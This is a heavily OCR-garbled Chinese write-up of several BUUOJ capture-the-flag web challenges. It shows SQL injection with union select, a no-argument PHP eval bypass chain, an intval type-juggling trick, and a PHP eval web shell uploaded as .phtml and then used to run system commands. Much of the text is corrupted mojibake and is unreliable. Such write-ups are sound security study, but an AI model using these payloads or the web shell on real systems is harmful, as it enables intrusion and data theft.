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UserName

password

BPHME &

Request

Raw | Params | Headers | Hex

2=
FE
Response

Raw | Headers | Hex HTML]'Renderw

POST /search.php HTTF/1.1 i
Host: fe551712-92f2-439d-ke03-25bca=407b47 . nodel3 . buucj.cn P
User—Agent: Mozilla/5.0 (Windows NT 10.0:; Wing4: x&4:; rv:75.0)

Gecko /20100101 Firefox/75.0

Acocept:

text/html, application/xhtwl+xml, application/xml; q=0.9, image/wehp, */ *;q=0.8
Accept-Language:

zh-CH, zh: gq=0.8, sh-TW:q=0.7, zh-HEK: q=0.5,en-US; g=0.3,en; q=0.2

HTTF/1.1 200 OK

Server: openrssty

Date: Tue, Z1 Apr Z0Z0 1l&:07:04 GHMT
Content-Type: text/html
Content-Length: ZZI@

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.29

Aocept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

Content-Length: 17

JIQYGO EJ EZRNRFHOPJS

MEFETTBSGEWS Y TIWES S CWPTNFQS TV

Origin: http://fe551712-92f2-439d-bE03-25becas=407b47 . node3 . buuoj.cn
Connection: close
Peferer: http://fe551712-92£2-439d-hE03-25bcas=407k47. node3 .. buuoj.cn/

Upgrade-Insecure-Regquescs: 1

name=admln&pw=12ﬂ
————

KU —BTEKET, BRbase32/n%, 2%ikbase32f#iY
J5 B baseb4 /#4153

select from user where username '$name’

Teta NELD-equilve"LONLEnt-Iype" CONLENCL="LExt/REml; CRArSEL=ULI-o
<title>Do you know who am I?</title>

wrong pass!

ZR— B HAB K name KB 2 wrong user! , TxiXadminsZ wrong pass! .

ks

//&7wrong user!
//iR%E
// R w

name=1&pw=123
name=1"&pw=123

name=1"%23&pw=123 ng user!

name=1' or 1=1 %23&pw=123 //&irdo not hack me!, F5MiLIE

name=1' Order

name=1"' Order

union select 1,2,3 %23&pw=123 //&E7xwrong user!
union

union

by 4 %238&pw=123 //K/NE%iE, BRError: Unknown column '4' in 'order clause'
by 3 %238&pw=123 //&E7wrong user!, ULBIH 3%

select 'admin',2,3 %23&pw=123 //&7~wrong user!
select 1,'admin',3 %23&pw=123 //Em~wrong pass!, ¥tBIHESE =3




XEBTEEHME, BEEIEARE. BR. HREXBENE —KTUMA, RERSEANEHROERINE CENE,
TH:

=

sername t 1, admin’, :

&2 E 2 Hwrong pass!, JFlJE &&dmd5mE, Zh—T:

name=1' union select 1, 'admin’, 'eccbc87e4b5ce2fe28308fd9f2a7baf3' %23

X B eccbc87e4b5ce2fe28308Fd9f2a7bat3 i 3 HImd5S(E, &EF|HZKflag.

J Raw T Params T Headers I@ J Raw T Headers I Hex | HTML T Render ]

POST /search.php HTTR/Ll.1 A HTTF/1l.1 200 OK "
Host: £e551712-9Zf2-439d-bED3-25bca=s407b47 . node3 . buuoc]j.cn r Server: openresty r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4:; =e£4; rwv:75.0) Date: Tu=, 21 Apr Z0Z0 lEe:45:2& GHT

Gecko/Z0100101 Firefox/75.0 Content-Type: text/html

Aocept: Content-Length: 258

text/html, application/xhtml+xml, application/xml;q=0.9, image/ webhp Connection: close

L Fi%rg=0.8 Vary: Aecept-Encoding

Aocept-Language: ¥-Powered-By: PHP/5.3.29

zh-CMN, zh;g=0.8, 2h-TW:g=0.7, zh-HE;=0.5,en-US;:q=0.3,en:;qg=0.2

Aocept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 74 <meta http-sguiv="C

Origin: charsec=utf-g" />
http://£e551712-92£2-439d-bE03-25hcas407b47 . node3 .buucj.cn <title>Do you know who am I?</title>

Connection: close

Feferer:

http://£e551712-92f2-435d-bE03-25bcas407b47 .. node3 . buuo] . cn/

Upgrade-Insscure-Regquests: 1 flag{d2addcfe-h724-4c2e-88ec-8456cf4828FF}

name=1' union seslect

1, 'admin', 'ecchci7ed4b5cel felB308Ed9fZa7bati’' %23 &pw=3

bRID

|GXYCITFZ2019|RIEE&EE



C © 1% | 881fdce9-beaf-4cd8-bb8b-dfe9callefOe.node3.buuoj.cn

flagTEBRERIR?

ZRFAEHF G RVttt 5E, 75 Flindex.phpIRfig

"flag.php";
"flagfEMEEIE? <br>";
($_GET["exp'])){
(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $ GET['exp'])) {
if(';! preg_replace('/[a-z,_]+\((?R)?\)/"', NULL, $ GET['exp'])) {
if (!preg match('/et|na|info|dec|bin|hex|oct|pi|log/i', $ GET['exp'])) {

@eval($_GET['exp']);
b
else{

die("EE—RHR! ");

else{
die(":tHikflag, RFH! ");

VLTRSS KB E: [GXYCTF2019)28 1L &k,

1.GET—M % NexplISH.
2. 8 T R U, S RECAOR PSR
3.(?R)SIHARRER, FHEMT #EEAH. REeILEREE TS R

4. IENICECHE T et/na/info k7, BERBFHHAT .
5: eval($ GET['exp']); #ATexpHIANZE.

HWAIE) TESHRCE -
MBI RET


https://www.cnblogs.com/wangtanzhi/p/12260986.html

BRI B0IR [ — 40, & A 7 e o T NS B S .
REHAF LA ET, BRIARE—ME.
current() KB4 .
5 images HFHHISCHFHE k.
Bt — AN
highlight file() ITEN#HiEkERE filename CfFiEVERE=RA KA.
show_source() highlight file()MHI%&.

next () BB WA R RBATR R T —/ R, HiEad.
array_reverse() UAHRBIIGRINFREHA.

B F FEPLEUH — AN B AN BT .

R HH R FIE .

IREN /B B JETEID.
session_start() REIFHSERHEERINESIE.

ERCEIELINE RN b e

print_r(scandir('."));

localeconv() iR Bl — & A7 & It Mg REBHKEH., MBANE—TL ., 4Slocaleconv()fcurrent() HiaeE 2] . , FrbA
payload:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

&< C ®© FZ== | 881fdce9-beaf-4cd8-bb8b-dfe9callefle.node3.buuoj.cn/?exp=print_r(scandir(pos(localeconv())));

flagrElBpERNE?
Array ([0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php)

RGBSR B lag php I A A T -
jj?%_‘
i Fflag.php ERIEEE — 1, 454 next() M array_reverse() , W PLiEFlflag.php.

exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

<« C @ ‘2= | 881fdce9-beaf-4cd8-bb8b-dfe9callefOe.node3.buuoj.cn/?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

flagFEMRERNE?
flag.php

¥ Fhighlight_file()Zkreadfile()izEtflag, & Hreadfile()RZE A BIFARIG A W LLFE 2.

& C © FZ% | 881fdce9-beaf-4cd8-bb8b-dfedcalOefOe.node3.buucj.cn/?exp=highlight file(next(array reverse(scandir(pos(localeconv())))));
flagfEHpEENR?

<Iphp

$flag = “flag{5112a8af-eadf-4d416-09872-dR092fed27 1},

7>

FE

254 array_rand() fl array_flip() ZRl#H LK T ] LAAS Blflag .

exp=highlight file(array_rand(array_ flip(scandir(current(localeconv())))));



&« C @ T%2% | 881fdce9d-beaf-4cd8-bb8b-dfedcalOef0e.node3.buuoj.cn/?exp=highlight file(array rand(array flip(scandir(current(localeconv())))));

flaglEWBERIR?
<Iphp

$flag = “flagiBllZaBaf-sadf-4d16-0872-cd50027ed271}";
oy

FHE=:

454 session_id() M session_start() , RJEF iM% NPHPSESSIONfIcookie, {& Aflag.php.

exp=highlight file(session_id(session_start()));

< C @ FZ&%£| 881fdce9-beaf-4cd8-bb8b-dfe9callefle.node3.buuoj.cn/?exp=highlight file(session id(session start())); ¥ *
L] »

flag7ERERIR? Ty 1) + ) C Q ~
<7php http://881fdce9-beaf-4cd8-bb8b-dfe9ca10ef0e.node3.buuoj.cn/?exp=highlight_file(...
$flag = “flagi5112a8af-eadf-4d16-9872-cd5892fed2T1) ",
ki ¥ .881fdce9-beaf-4cd8-bb8b-dfedcallefle.node3.buuoj.cn \

E

flag.php

|AC 1 F2020 $r4 3z |Backupkile
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Try to find out source file!

ZRT www. zip 2R LR EERE EEVERY, HiEdirsearch T B33, JFRZEbak& 4 3044

Extensions: ®*  HTTP method: Threads: 10 Wordlist

arget: http:

yg.csdn.net’hiahiachang

EBPRAH:



<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key $ _GET['key'];

if(!is_numeric($key)) {
exit("Just num!");

1

J

$key = intval($key);
$str "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key $str) {
echo $flag;
1
J
1
J
else {

echo "Try to find out source file!";

1
J

GETH&—/N key » ANEEAF, Zintval)BEES $str HER G Hflag. HZintMstring ELE &% string ¥ BintF 2 thE:,
$strig gint/5 w2123, Frblkeya T 123B0 0] 3 & 254+

< C @ FZ=% | 040d0380-b0b3-45c7-ae97-5777cffd80fa.node3.buuoj.cn/index.php?key=123

flag{71a8d84a-c34c-451a-b072-¢c823410619b5}
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AT S, BEfEjpg. png. gifsSREIE F!

RARBINMGEEN, KRACKMBIGHMEE T, FWH, FBUATHREIER, BHEgooglefdff Quick Javascript Switcher ZEHjs
BE:

L C O £ | 4ddba51f-0315-40fa-9530-c88b5ad70412.node3.buuoj.cn < Y m

nonono~ Bad file!

ERAT, BRsEIESER T phpl HAL LM SYE, K
phtmI®] BA_EA& 2.

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render]
POST / HTTR/L.1 "y 'y
Host: 4ddba51lf-0315-40fa-5530-c88h5ad70412 . node3 . buuoj.cn r c-0.331-0.012-0.712,0.114-0.997,0.293¢c-0.946,0.599-1.859, 1.252-2.787,1.878c
Content-Length: 315 -0.284,0.587-1.77,0.554-2.615-0.10&
Cache-Control: max-age=0
Origin: http://4ddbaslf-0315-40£fa-9530-c88b5ad70412 . node3 . buuoj.cn c-0.926-0.725-1.854-1.457 .1l8c-0.52-0.405-1.094-0.403-1.619,0.008c-0
Upgrade-Insecure-Requests: 1 .827,0. 1.851,1.449-Z2. 3
Content-Type: multipart/form-datca;
boundary=----WebEitFormBoundary3s IDEEcmne FkDAhuH c-0.841,0.661-1.728,0.€94-2.€15,0.096c-0.913-0.€17-1.818-1.245-2.732-1.857¢c
User—-Agent: Mozilla/5.0 (Windows NT 10.0:; Winé4: x£4) AppleWebKit/537.36 -0.725-0.484-1.3-0.452-1.656,0.06¢6
(KHTML, like Gecko) Chrowe/50.0.3987.163 Satari/537.36
Accept: c-0.38¢&,0.562-0.22,1.265,0.432,1.712c1.502,1.037,3.008,2.06,4.521,3.081c0.5
text/html, application/xhtml4xml, application/xml;: gq=0.9, image/ webhp, imags/apng, 9¢,0.3%6,1.035,0.381,1.624-0.062
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://4ddba5lf-0315-40fa-9530-c88b5ad70412 . nodes3 . buuc].cn/ c0.955-0.717,1.889-1.463,2.849-2.173c0.768-0.572, 1.585-0.569,2.355,0.003¢c0.
Accept-Encoding: gzip, deflate 96,0.716,1.895,1.462,2.854,2.174
Accept-Languages: zh-CN, zh;q=0.9
Connection: close c0.232,0.173,0.526,0.271,0.787,0.399C69.262, 69.355,69.511,69.304, 69. 706, £9.
—————— WebEitFormBoundary3 1DEFqmneFkDAhuH
Content-Disposition: form-data; name="upload_ file"; filena
Content-Type: image/png <div class="light"><span class="glou">
<form enctype="multipart/form-data” method="postc"™
<?php eval(§_GET['a'l);?» onsubmit="return checkFile)">
—————— WebKitFormBoundary3 1DEKcponeFkDAhuH 0000000004
Content-Disposition: form-data; name="submit" <inpuc class="input_file" type="fils" name="u1jloac1_file"/‘>
<input elass="button" type="submit" name="submit"
upload valus="upload"/>
777777 WebEitFormBoundary3 1DEFcuneFkDAhuH-— </ forms
</span><span class="flare"></span><div>
</ dive
a
<div style="color:#FO00">Uplead Success! Look here~
. /uplodd/bd914cad4997d34857501cefab0064162 . phtml</div></body>
A Tl a=n U]

< C © 4% | 4ddba51f-0315-40fa-9530-c88b5ad70412.node3.buuoj.cn
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bin boot dev etc flag home lib liIb64 media mnt opt proc root run sbin srv sys tmp usr var

[w ﬂ Elements Console Network HackBar EditThisCookie Sources Performance Memory Application Security Audits

Encryption ~ Enceding~ SQL~ XSS~ Other ~

i) Load URL http://4ddba51f-0315-40fa-8530-c88b5ad70412.node3.buuoj.cn/uplo4d/bd914ca4997d 3485750 1cefab0064 162 phtml?a=system('ls /');

& split URL

_ [) Postdata () Referer [ UserAgent (I Cookies Clear All

flag{f48b302a-04d7-4ffb-915¢-79¢c4f9bc6231}

w ﬂ Elements Console Network HackBar EditThisCookie Sources Performance Memory Application Security Audits

Encryption ~ Encoding + SQL~ XSS~ Other ~

g Load URL http://4ddba51f-0315-40fa-9530-c88b5ad70412.node3.buuoj.cn/uplo4d/bd914ca4997d34857 501 cefab0064162.phtml 7a=system('cat /flag’);

1§ split URL

_ [ Postdata [0 Referer [ UserAgent [ Cookies Clear All

E—R H TR

HEEE A
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